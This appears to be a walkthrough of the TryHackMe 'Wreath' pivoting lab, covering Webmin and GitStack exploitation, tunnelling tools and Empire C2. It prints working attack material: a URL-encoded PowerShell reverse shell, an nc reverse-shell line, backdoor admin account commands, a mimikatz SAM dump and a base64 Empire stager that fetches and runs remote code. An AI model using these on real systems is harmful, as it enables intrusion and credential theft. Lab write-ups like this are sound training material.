- URL: https://tryhackme.com/room/wreath
- Target OS: Linux x 1 / Windows x 2
- Rated Difficulty: Easy
INTRODUCTION
Thomas has sent over the following information about the network:
There are two machines on my home network that host projects and stuff I’m working on in my own time — one of them has a webserver that’s port forwarded, so that’s your way in if you can find a vulnerability! It’s serving a website that’s pushed to my git server from my own PC for version control, then cloned to the public facing server. See if you can get into these! My own PC is also on that network, but I doubt you’ll be able to get into that as it has protections turned on, doesn’t run anything vulnerable, and can’t be accessed by the public-facing section of the network. Well, I say PC — it’s technically a repurposed server because I had a spare license lying around, but same difference.
From this we can take away the following pieces of information:
- There are three machines on the network
- There is at least one public facing webserver
- There is a self-hosted git server somewhere on the network
- The git server is internal, so Thomas may have pushed sensitive information into it
- There is a PC running on the network that has antivirus installed, meaning we can hazard a guess that this is likely to be Windows
- By the sounds of it this is likely to be the server variant of Windows, which might work in our favour
- The (assumed) Windows PC cannot be accessed directly from the webserver
Task 5 – Webserver – Enumeration
ENUM >> NMAP scan
Nmap scan report for 10.200.193.200
Host is up (0.32s latency).
Not shown: 14866 filtered tcp ports (no-response), 129 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 9c:1b:d4:b4:05:4d:88:99:ce:09:1f:c1:15:6a:d4:7e (RSA)
| 256 93:55:b4:d9:8b:70:ae:8e:95:0d:c2:b6:d2:03:89:a4 (ECDSA)
|_ 256 f0:61:5a:55:34:9b:b7:b8:3a:46:ca:7d:9f:dc:fa:12 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-title: Did not follow redirect to https://thomaswreath.thm
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Thomas Wreath | Developer
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=thomaswreath.thm/organizationName=Thomas Wreath Development/stateOrProvinceName=East Riding Yorkshire/countryName=GB
| Not valid before: 2022-01-03T01:33:01
|_Not valid after: 2023-01-03T01:33:01
9090/tcp closed zeus-admin
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32 - 3.1 (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Linux 3.7 (90%), Linux 5.0 (90%), Linux 5.1 (90%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (89%), Linux 2.6.32 - 3.13 (89%), Linux 3.0 - 3.2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 9090/tcp)
HOP RTT ADDRESS
1 318.49 ms 10.50.190.1
2 319.69 ms 10.200.193.200
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 182.55 seconds
How many of the first 15000 ports are open on the target?
What OS does Nmap think is running?
Open the IP in your browser -- what site does the server try to redirect you to?
Read through the text on the page. What is Thomas' mobile phone number?
Look back at your service scan results: what server version does Nmap detect as running here?
What is the CVE number for this exploit?
Task 6 – Webserver – Exploitation
- Download the exploit for MiniServ 1.890 RCE –
git clone https://github.com/MuirlandOracle/CVE-2019-15107
- Install the requirements –
pip3 install -r requirements.txt
chmod
the exploit –chmod +x ./CVE-2019-15107.py
- To exploit –
./CVE-2019-15107.py TARGET_IP
❯ ./CVE-2019-15107.py 10.200.193.200
__ __ _ _ ____ ____ _____
\ \ / /__| |__ _ __ ___ (_)_ __ | _ \ / ___| ____|
\ \ /\ / / _ \ '_ \| '_ ` _ \| | '_ \ | |_) | | | _|
\ V V / __/ |_) | | | | | | | | | | | _ <| |___| |___
\_/\_/ \___|_.__/|_| |_| |_|_|_| |_| |_| \_\____|_____|
@MuirlandOracle
[*] Server is running in SSL mode. Switching to HTTPS
[+] Connected to https://10.200.193.200:10000/ successfully.
[+] Server version (1.890) should be vulnerable!
[+] Benign Payload executed!
[+] The target is vulnerable and a pseudoshell has been obtained.
Type commands to have them executed on the target.
[*] Type 'exit' to exit.
[*] Type 'shell' to obtain a full reverse shell (UNIX only).
# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
Which user was the server running as?
What is the root user's password hash?
What is the full path to this file?
Task 8 – Pivoting – High-level Overview
The two main types of pivoting are:
- Tunnelling / Proxying – creating a proxy type connection allows us to route all desired traffic into the target network. This can also be upgraded by tunnelling through another protocol (e.g. SSH tunnelling) which can be used to evade basic IDS (Intrusion Detection Systems) or firewalls
- Port Forwarding – creating a connection between a local port and a single remote port on the target.
Proxies are better if you want access to more than one port. The method used to pivot depends on the layout of the network and what limitations may be in place.
As a general rule – if you have multiple possible entry-points, use a Linux/Unix target where possible as these tend to be easier to pivot from.
Which type of pivoting creates a channel through which information can be sent hidden inside another protocol?
Research: Not covered in this Network, but good to know about. Which Metasploit Framework Meterpreter command can be used to create a port forward?
Task 9 – Pivoting – Enumeration
Five possible ways to enumerate a network via a compromised host (in order of preference):
- Using material found on the machine. The hosts file or ARP cache, for example
- Using pre-installed tools
- Using statically compiled tools
- Using scripting techniques
- Using local tools through a proxy (SLOW!!!)
arp -a
can be used to check the ARP cache of the machine./etc/hosts
on a Linux target for static mappings/etc/resolv.conf
on a Linux target lists DNS servers (possibly local DNS?)C:\Windows\System32\drivers\etc\hosts
is the Windows-equivalent of Linux’s/etc/hosts
ipconfig /all
on Windows to check DNS servers and other IP information.nmcli dev show
on Linux is an alternative to reading/etc/resolv.conf
LotL bash techniques
- for ping sweeping an IP range:
for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done
- to portscan an IP (extremely SLOW):
for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done
What is the absolute path to the file containing DNS entries on Linux?
What is the absolute path to the hosts file on Windows?
How could you see which IP addresses are active and allow ICMP echo requests on the 172.16.0.x/24 network using Bash?
Task 10 – Pivoting – Proxychains & FoxyProxy
FoxyProxy has been covered before in 03 – Burp Suite so I will not touch on it here…
ProxyChains
- To use ProxyChains, you simply append it to the command you want to run via the proxy – e.g.
proxychains nc 10.0.0.1 23
- ProxyChains reads the proxies from a config file, it will read in the following order:
- In the current directory –
./proxychains.conf
- Users home directory –
~/.proxychains/proxychains.conf
- System-wide config –
/etc/proxychains.conf
- In the current directory –
- To set a new proxy, look for the
[ProxyList]
section and add it in the following format:socks4 127.0.0.1 1337
(wheresocks4
can be that or eitherhttp, raw or socks5
) - If trying to port scan via NMAP, make sure that
proxy_dns
is not set in theproxychains.conf
file or it may cause the scan to hang. - While on the topic of NMAP – you can only perform TCP connect
-sT
scans via ProxyChains, and it will be extremely slow!
What line would you put in your proxychains config file to redirect through a socks4 proxy on 127.0.0.1:4242?
What command would you use to telnet through a proxy to 172.16.0.100:23?
You have discovered a webapp running on a target inside an isolated network. Which tool is more apt for proxying to a webapp: Proxychains (PC) or FoxyProxy (FP)?
Task 11 – Pivoting – SSH Tunnelling / Port Forwarding
It is possible to use both forward and reverse connections to make SSH tunnels, allowing us to forward ports, and/or create proxies.
Forward Connections
There are two ways to create a forward SSH tunnel using SSH – both require you already have SSH access to the machine. These are the most popular as you don’t require the target to connect back to you (potentially leaking your IP).
Port Forwarding
- If we were forwarding port 80 on
172.16.0.10
which is hidden behind172.16.0.5
we can use the following:ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN
(using a high port of8000
saves usingsudo
)- the
-L
switch is for forwarding a port - the
-fN
switches combined does the following:-f
backgrounds the shell, and-N
tells SSH that it doesn’t need to execute a command once the port forward is setup.
- the
Proxies
- If we wish to setup a proxy on port
1337
that will allow us to connect and get access to any port on the target network we could use the following:ssh -D 1337 user@172.16.0.5 -fN
- the
-D
switch sets the proxy port given (in this case1337
) - the
-fN
switches are explained above.
- the
Reverse Connections
Reverse connections require that you connect to the attack box from the target, so the best idea is to generate an SSH key primarily for this task only, we will also setup our authorized_keys
file so if someone was to grab the key from the target they cannot gain shell access back to your attack box.
- Generate a throwaway key with
ssh-keygen
(as the example here):
- Copy the contents of the public key (
.pub
) into yourauthorized_keys
file, prepended with the following text:command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty <CONTENTS_OF_PUB_KEY>
– it should look like this:
- Make sure that your SSH server is running, then transfer the throwaway key onto the target machine.
- On the target machine, you can create the reverse port forward with the following syntax:
ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN
- using our previous example setup, with
172.16.0.20
being the attacking box:ssh -R 8000:172.16.0.10:80 hacker@172.16.0.20 -i KEYFILE -fN
- note that instead of using
-L
for a local port forward, we are using-R
for a remote
- using our previous example setup, with
- Alternatively, on newer SSH versions, we can also use
-R
switch to create reverse connection proxies:ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN
If you're connecting to an SSH server *from* your attacking machine to create a port forward, would this be a local (L) port forward or a remote (R) port forward?
Which switch combination can be used to background an SSH port forward or tunnel?
It's a good idea to enter our own password on the remote machine to set up a reverse proxy, Aye or Nay?
What command would you use to create a pair of throwaway SSH keys for a reverse connection?
If you wanted to set up a reverse portforward from port 22 of a remote machine (172.16.0.100) to port 2222 of your local machine (172.16.0.200), using a keyfile called 'id_rsa' and backgrounding the shell, what command would you use? (Assume your username is 'kali')
What command would you use to set up a forward proxy on port 8000 to user@target.thm, backgrounding the shell?
If you had SSH access to a server (172.16.0.50) with a webserver running internally on port 80 (i.e. only accessible to the server itself on 127.0.0.1:80), how would you forward it to port 8000 on your attacking machine? Assume the username is 'user', and background the shell.
Task 12 – Pivoting – plink.exe (PuTTY)
plink.exe
is the windows command line version of PuTTY SSH client. Windows now comes with its own built-in SSH client, so it’s not as useful these days but still good to know (for older boxes).
- You will most likely need to transfer
plink.exe
to the target box… - To start a reverse connection:
cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N
- The general command and switches are almost identical – the
-f
flag is not needed, and the reason we putcmd.exe /c echo y |
at the front of the command is to skip the warning message about the target not connecting to the host before. This will spawn a non-interactive shell.
- The general command and switches are almost identical – the
- Keys generated with
ssh-keygen
need to be converted usingputtygen
– e.g.puttygen KEYFILE -o OUTPUT_KEY.ppk
(this new key will still work with the old.pub
key added toauthorized_keys
)
What tool can be used to convert OpenSSH keys into PuTTY style keys?
Task 13 – Pivoting – socat
socat
can also be used to port forward (no proxying unfortunately), but it makes a great relay!
Here is a visual representation of a great use for socat
relays:
- You may need to transfer
socat
onto the target machine as it is not a common application to be installed.
Reverse Shell Relay
- If we were listening on port
1337
and we wanted to forward a reverse shell from a target with a non-internet-facing internal target we would use the following (on the internet-facing target):./socat tcp-l:8000 tcp:ATTACKING_IP:443 &
(ATTACKING_IP
to be replaced with the attack box IP – the order matters; listen port before connect back!)- We would then need a reverse shell that connects to the internet-facing target at the port we forwarded – e.g.
nc 172.16.0.100 8000 -e /bin/bash
on the non-internet-facing box. tcp-l:8000
creates the local listener on port8000
tcp:ATTACKING_IP:443
connects back to our attack box on port443
&
backgroundssocat
(the listener), freeing up the shell for other use.
- We would then need a reverse shell that connects to the internet-facing target at the port we forwarded – e.g.
Port Forwarding – Easy
- In this example,
172.16.0.5
is the compromised internet-facing server,172.16.0.10
is the non-internet-facing target we attempting to connect to:./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &
fork
will cause any new connections to be forked to a new processreuseaddr
keeps the port open for future connections (or multiple connections at once).- The above example would allow us to connect to
172.16.0.5
on port33060
and it would be forwarded to172.16.0.10
on port3306
Port Forwarding – Quiet
- This method requires
socat
installed on both the attack machine and the target, but is quieter than the previous easy method. - On the attack machine, we would enter
socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
– this would open port8001
and forward it directly to local port8000
, whatever goes in one port will come out the other. - On the target machine (more specifically the internet-facing server), we would enter
./socat tcp:ATTACKING_IP:8001 tcp:TARGET_IP:TARGET_PORT,fork &
TARGET_IP:TARGET_PORT
in this example would point to the non-internet-facing target IP and port we want access to, the first part of the command will forward it to our attack IP at port8001
- The end result would be that we connect to
localhost:8000
on our attack machine to get access to the non-internet-facing IP and port we chose.
Killing jobs on Linux
- Because we put this forwarder in the background, we can simply kill it by calling
jobs
from the console to list running jobs, and to stop the forwarder, simply typekill %1
(where1
= the job number running the forwarder)
Which socat option allows you to reuse the same listening port for more than one connection?
If your Attacking IP is 172.16.0.200, how would you relay a reverse shell to TCP port 443 on your Attacking Machine using a static copy of socat in the current directory? Use TCP port 8000 for the server listener, and do not background the process.
What command would you use to forward TCP port 2222 on a compromised server, to 172.16.0.100:22, using a static copy of socat in the current directory, and backgrounding the process (easy method)?
Bonus Question (Optional): Try to create an encrypted port forward or relay using the 'OPENSSL' options in socat.
Task 14 – Pivoting – Chisel
Chisel is an awesome tool as it allows you to create tunnelled proxys or port forward without the need to have SSH access. To achieve this you will need to ensure a copy of chisel is on both attack and target machine(s). Chisel is also cross-platform (Linux, Windows and OSX)
See more on the Chisel GitHub!
SOCKS5 Proxy
NOTE: chisel uses a
socks5
proxy rather than the standardsocks4
– if using ProxyChains you will need to ensure you define it in the configuration file assocks5
.
A "reverse" proxy should be considered the equivalent of a reverse shell, whereas a "forward" proxy would be the equivalent of a bind shell in terms of how they connect… for that reason, "reverse" variants are preferred over the latter.
Reverse
- On the attack box:
chisel server -p LISTEN_PORT --reverse &
- On the target box:
./chisel client ATTACK_IP:LISTEN_PORT R:socks
- Note that the above screenshot shows the reverse connection coming through port
1337
, however the last line states the proxy is at127.0.0.1:1080
– when using a reverse proxy you need to ensure you are pointing to the port the proxy is listening on (in this case1080
), not the port chisel was listening on (in this case1337
).
Forward
- On the target box:
./chisel server -p LISTEN_PORT --socks5
- On the attack box:
chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks
- Notice the
PROXY_PORT
– this port will actually be the port you configure your ProxyChains/etc. to connect through, unlike the reverse variant that doesn’t allow you to set one.
- Notice the
Port Forward
Remote
- On the attack box:
chisel server -p LISTEN_PORT --reverse &
- On the target box:
./chisel client ATTACK_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:TARGET_PORT &
Local
- On the target box:
./chisel server -p LISTEN_PORT
- On the attack box:
chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT
What command would you use to start a chisel server for a reverse connection on your attacking machine? Use port 4242 for the listener and **do not** background the process.
What command would you use to connect back to this server with a SOCKS proxy from a compromised host, assuming your own IP is 172.16.0.200 and backgrounding the process?
How would you forward 172.16.0.100:3306 to your own port 33060 using a chisel remote port forward, assuming your own IP is 172.16.0.200 and the listening port is 1337? Background this process.
If you have a chisel server running on port 4444 of 172.16.0.5, how could you create a local portforward, opening port 8000 locally and linking to 172.16.0.10:80?
Task 15 – Pivoting – sshuttle
sshuttle
is not like any of the above… It allows you to connect via SSH to the target as you would normally, but instead it will create a VPN style tunnel as a network device on the attack machine so you can gain access to any other machines in the network as if you were sitting right on it!
It does have it’s drawbacks though: it’s Linux only, you need to have access to the target via SSH already, and the target needs Python installed.
- The basic syntax is:
sshuttle -r username@TARGET_IP subnet
- For example, if we were connecting to
172.16.0.5
–sshuttle -r user@172.16.0.5 172.16.0.0/24
- You could also use
-N
rather than the subnet and hope that it can determine the subnet from the target’s routing table (though not always successful)
- For example, if we were connecting to
-
If you only have access to the target via SSH key you could use
sshuttle -r user@TARGET_IP --ssh-cmd "ssh -i KEYFILE" subnet
NOTE: If you run in to the following error:
client: Connected. client_loop: send disconnect: Broken pipe client: fatal: server died with error code 255
Try appending the IP of the target with the
-x
switch to the end of the command… this will exclude the target IP from the subnet range. For example:
sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5
This is caused by the fact that
sshuttle
tries to forward the subnet and trips over itself when it tries to include the target IP that it is basing it’s connection off.
How would you use sshuttle to connect to 172.16.20.7, with a username of 'pwned' and a subnet of 172.16.0.0/16
What switch (and argument) would you use to tell sshuttle to use a keyfile called 'priv_key' located in the current directory?
You are trying to use sshuttle to connect to 172.16.0.100. You want to forward the 172.16.0.x/24 range of IP addreses, but you are getting a Broken Pipe error. What switch (and argument) could you use to fix this error?
Task 16 – Pivoting – Conclusion
As a summary of the tools in this section:
- Proxychains and FoxyProxy are used to access a proxy created with one of the other tools
- SSH can be used to create both port forwards, and proxies
- plink is an SSH client for Windows, allowing you to create reverse SSH connections on Windows
- Socat is a good option for redirecting connections, and can be used to create port forwards in a variety of different ways
- Chisel can do the exact same thing as with SSH portforwarding/tunneling, but doesn’t require SSH access on the box
- sshuttle is a nicer way to create a proxy when we have SSH access on a target
Task 17 – Git Server – Enumeration
ENUM >> NMAP host scan
[root@prod-serv tmp]# ./nmap-stimpz0r -sn 10.200.193.1-255 -oN scan-stimpz0r
Starting Nmap 7.91SVN ( https://nmap.org ) at 2022-01-05 06:28 GMT
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for ip-10-200-193-1.eu-west-1.compute.internal (10.200.193.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00039s latency).
MAC Address: 02:14:FF:E6:A0:F3 (Unknown)
Nmap scan report for ip-10-200-193-100.eu-west-1.compute.internal (10.200.193.100)
Host is up (0.00026s latency).
MAC Address: 02:4C:AB:F2:D0:69 (Unknown)
Nmap scan report for ip-10-200-193-150.eu-west-1.compute.internal (10.200.193.150)
Host is up (0.0011s latency).
MAC Address: 02:ED:6B:12:83:F1 (Unknown)
Nmap scan report for ip-10-200-193-250.eu-west-1.compute.internal (10.200.193.250)
Host is up (0.00023s latency).
MAC Address: 02:15:D7:A0:DC:93 (Unknown)
Nmap scan report for ip-10-200-193-200.eu-west-1.compute.internal (10.200.193.200)
Host is up.
Nmap done: 255 IP addresses (5 hosts up) scanned in 3.83 seconds
ENUM >> NMAP scan on .100
[root@prod-serv tmp]# ./nmap-stimpz0r -sS -T4 -oN scan_100-stimpz0r 10.200.193.100
Starting Nmap 7.91SVN ( https://nmap.org ) at 2022-01-05 06:33 GMT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Nmap scan report for ip-10-200-193-100.eu-west-1.compute.internal (10.200.193.100)
Host is up (0.00016s latency).
All 6150 scanned ports on ip-10-200-193-100.eu-west-1.compute.internal (10.200.193.100) are in ignored states.
Not shown: 6150 filtered tcp ports (no-response)
MAC Address: 02:4C:AB:F2:D0:69 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 124.29 seconds
ENUM >> NMAP scan on .150
[root@prod-serv tmp]# ./nmap-stimpz0r -sS -T4 -p-15000 -oN scan_150-stimpz0r 10.200.193.150
Starting Nmap 7.91SVN ( https://nmap.org ) at 2022-01-05 06:36 GMT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Nmap scan report for ip-10-200-193-150.eu-west-1.compute.internal (10.200.193.150)
Host is up (0.00047s latency).
Not shown: 14996 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
5985/tcp open wsman
MAC Address: 02:ED:6B:12:83:F1 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 30.06 seconds
Excluding the out of scope hosts, and the current host (.200), how many hosts were discovered active on the network?
In ascending order, what are the last octets of these host IPv4 addresses? (e.g. if the address was 172.16.0.80, submit the 80)
Scan the hosts -- which one does not return a status of 'filtered' for every port (submit the last octet only)?
Which TCP ports (in ascending order, comma separated) below port 15000, are open on the remaining target?
Assuming that the service guesses made by Nmap are accurate, which of the found services is more likely to contain an exploitable vulnerability?
Task 18 – Git Server – Pivoting
What is the name of the program running the service?
Do these default credentials work (Aye/Nay)?
You will see that there are three publicly available exploits.There is one Python RCE exploit for version 2.3.10 of the service. What is the EDB ID number of this exploit?
Task 19 – Git Server – Code Review
Look at the information at the top of the script. On what date was this exploit written?
Bearing this in mind, is the script written in Python2 or Python3?
Just to confirm that you have been paying attention to the script: What is the *name* of the cookie set in the POST request made on line 74 (line 73 if you didn't add the shebang) of the exploit?
Task 20 – Git Server – Exploitation
ENUM >> GIT-SERV systeminfo
nt authority\system
❯ curl -X POST http://10.200.193.150/web/exploit-stimpz0r.php -d "a=systeminfo"
"
Host Name: GIT-SERV
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-70000-00000-AA159
Original Install Date: 08/11/2020, 13:19:49
System Boot Time: 05/01/2022, 06:19:24
System Manufacturer: Xen
System Model: HVM domU
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2400 Mhz
BIOS Version: Xen 4.11.amazon, 24/08/2006
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-gb;English (United Kingdom)
Input Locale: en-gb;English (United Kingdom)
Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 2,048 MB
Available Physical Memory: 1,364 MB
Virtual Memory: Max Size: 2,432 MB
Virtual Memory: Available: 1,854 MB
Virtual Memory: In Use: 578 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 5 Hotfix(s) Installed.
[01]: KB4580422
[02]: KB4512577
[03]: KB4580325
[04]: KB4587735
[05]: KB4592440
Network Card(s): 1 NIC(s) Installed.
[01]: AWS PV Network Device
Connection Name: Ethernet
DHCP Enabled: Yes
DHCP Server: 10.200.193.1
IP address(es)
[01]: 10.200.193.150
[02]: fe80::8549:cfc2:a24:b533
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
"
[root@prod-serv tmp]# ./socat-stimpz0r tcp-l:31337 tcp:10.50.190.97:1337 &
[1] 4666
❯ curl -X POST http://10.200.193.150/web/exploit-stimpz0r.php -d "a=powershell%2Eexe%20%2Dc%20%22%24client%20%3D%20New%2DObject%20System%2ENet%2ESockets%2ETCPClient%28%2710%2E200%2E193%2E200%27%2C31337%29%3B%24stream%20%3D%20%24client%2EGetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200%2E%2E65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream%2ERead%28%24bytes%2C%200%2C%20%24bytes%2ELength%29%29%20%2Dne%200%29%7B%3B%24data%20%3D%20%28New%2DObject%20%2DTypeName%20System%2EText%2EASCIIEncoding%29%2EGetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out%2DString%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29%2EPath%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext%2Eencoding%5D%3A%3AASCII%29%2EGetBytes%28%24sendback2%29%3B%24stream%2EWrite%28%24sendbyte%2C0%2C%24sendbyte%2ELength%29%3B%24stream%2EFlush%28%29%7D%3B%24client%2EClose%28%29%22"
❯ nc -lnvp 1337
Connection from 10.200.193.200:37518
whoami
nt authority\system
PS C:\GitStack\gitphp>
What is the hostname for this target?
What operating system is this target?
What user is the server running as?
How many make it to the waiting listener?
Task 21 – Git Server – Stabilisation & Post Exploitation
PRIVESC >> added user account to GIT-SERV
net user stimpz0r hax3d! /add
net localgroup Administrators stimpz0r /add
net localgroup "Remote Management Users" stimpz0r /add
PS C:\GitStack\gitphp> net user stimpz0r
User name stimpz0r
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 05/01/2022 09:51:50
Password expires Never
Password changeable 05/01/2022 09:51:50
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators *Remote Management Use
*Users
Global Group memberships *None
The command completed successfully.
ENUM >> mimikatz lsadump::sam
mimikatz # lsadump::sam
Domain : GIT-SERV
SysKey : 0841f6354f4b96d21b99345d07b66571
Local SID : S-1-5-21-3335744492-1614955177-2693036043
SAMKey : f4a3c96f8149df966517ec3554632cf4
...
RID : 000003e9 (1001)
User : Thomas
Hash NTLM: <REDACTED>
...
CREDS - Thomas NTLM hash
LOOT >> Thomas’ password cracked!
CREDS - Thomas
CREDS - Administrator NTLM hash
What is the Administrator password hash?
What is the NTLM password hash for the user 'Thomas'?
What is Thomas' password?
Task 24 – Command and Control – Empire: Overview
Can we get an agent back from the git server directly (Aye/Nay)?
Task 25 – Command and Control – Empire: Listeners
Listeners in Empire are used to receive connections from stagers (which we’ll look at in the next task). The default listener is the HTTP
listener. This is what we will be using here, although there are many others available. It’s worth noting that a single listener can be used more than once — they do not die after their first usage.
Using CLI
uselistener http
to setup listeneroptions
will show listener optionsset OPTION VALUE
to change one of the options- e.g.
set Name CLIHTTP
set Host 10.50.190.97
set Port 8000
- e.g.
execute
to start the listenerlisteners
to see active listeners-
kill LISTENER_NAME
to stop a listenerNOTE: option names in Empire are CASE-SENSITIVE
Using Starkiller
- Click
Create
button at the top right of the screen
- Click on the
Type
drop-down menu
- Select "http"
- Fill in
Name
,Host
andPort
(as with CLI variant)
- Press the
Submit
button at the top right of the screen
Task 26 – Command and Control – Empire: Stagers
Stagers are Empire’s payloads. They are used to connect back to waiting listeners, creating an agent when executed.
Using CLI
usestager
to get a list of available stagersusestager multi/launcher
is a good bet if in doubt…usestager multi/bash
for our task- like listeners, type
options
to see the options,set OPTION VALUE
to set an option,execute
to output the stager payload.- the only option we need to set for this one is
set Listener LISTENER_NAME
- the only option we need to set for this one is
Using Starkiller
- On the left menu, click the
Stagers
section
- The steps are the same as creating Listeners – click
Create
at the top right, select theType
drop down list and selectmulti/bash
(for this exercise)
- As with the CLI, the only option we need to set is
Listener
– select the listener you created earlier from the drop-down box
- Once you hit
Submit
at the top right, you will be taken back to theStagers
list. Click the 3 dots button at the end of the line and clickCopy to Clipboard
to get the payload in your clipboard
Stager payload
#!/bin/bash
echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCm91dCwgZXJyID0gcHMuY29tbXVuaWNhdGUoKQppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliLnJlcXVlc3Q7ClVBPSdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbyc7c2VydmVyPSdodHRwOi8vMTAuNTAuMTkwLjk3OjgwMDAnO3Q9Jy9hZG1pbi9nZXQucGhwJztyZXE9dXJsbGliLnJlcXVlc3QuUmVxdWVzdChzZXJ2ZXIrdCk7CnByb3h5ID0gdXJsbGliLnJlcXVlc3QuUHJveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIucmVxdWVzdC5idWlsZF9vcGVuZXIocHJveHkpOwpvLmFkZGhlYWRlcnM9WygnVXNlci1BZ2VudCcsVUEpLCAoIkNvb2tpZSIsICJzZXNzaW9uPVFsUjJZalA2ckxaMm0ybTI2cWUwTlB2MjRDaz0iKV07CnVybGxpYi5yZXF1ZXN0Lmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYi5yZXF1ZXN0LnVybG9wZW4ocmVxKS5yZWFkKCk7CklWPWFbMDo0XTtkYXRhPWFbNDpdO2tleT1JVisnZ3wjRHh9cXZmLEs7PlBAP0doaTRtcHJuUSlzd1h7TionLmVuY29kZSgnVVRGLTgnKTtTLGosb3V0PWxpc3QocmFuZ2UoMjU2KSksMCxbXQpmb3IgaSBpbiBsaXN0KHJhbmdlKDI1NikpOgogICAgaj0oaitTW2ldK2tleVtpJWxlbihrZXkpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKGNoYXJeU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp'));" | python3 &
rm -f "$0"
exit
Decoded payload
import sys;import re, subprocess;cmd = "ps -ef | grep Little\ Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = ps.communicate()
if re.search("Little Snitch", out.decode('UTF-8')):
sys.exit()
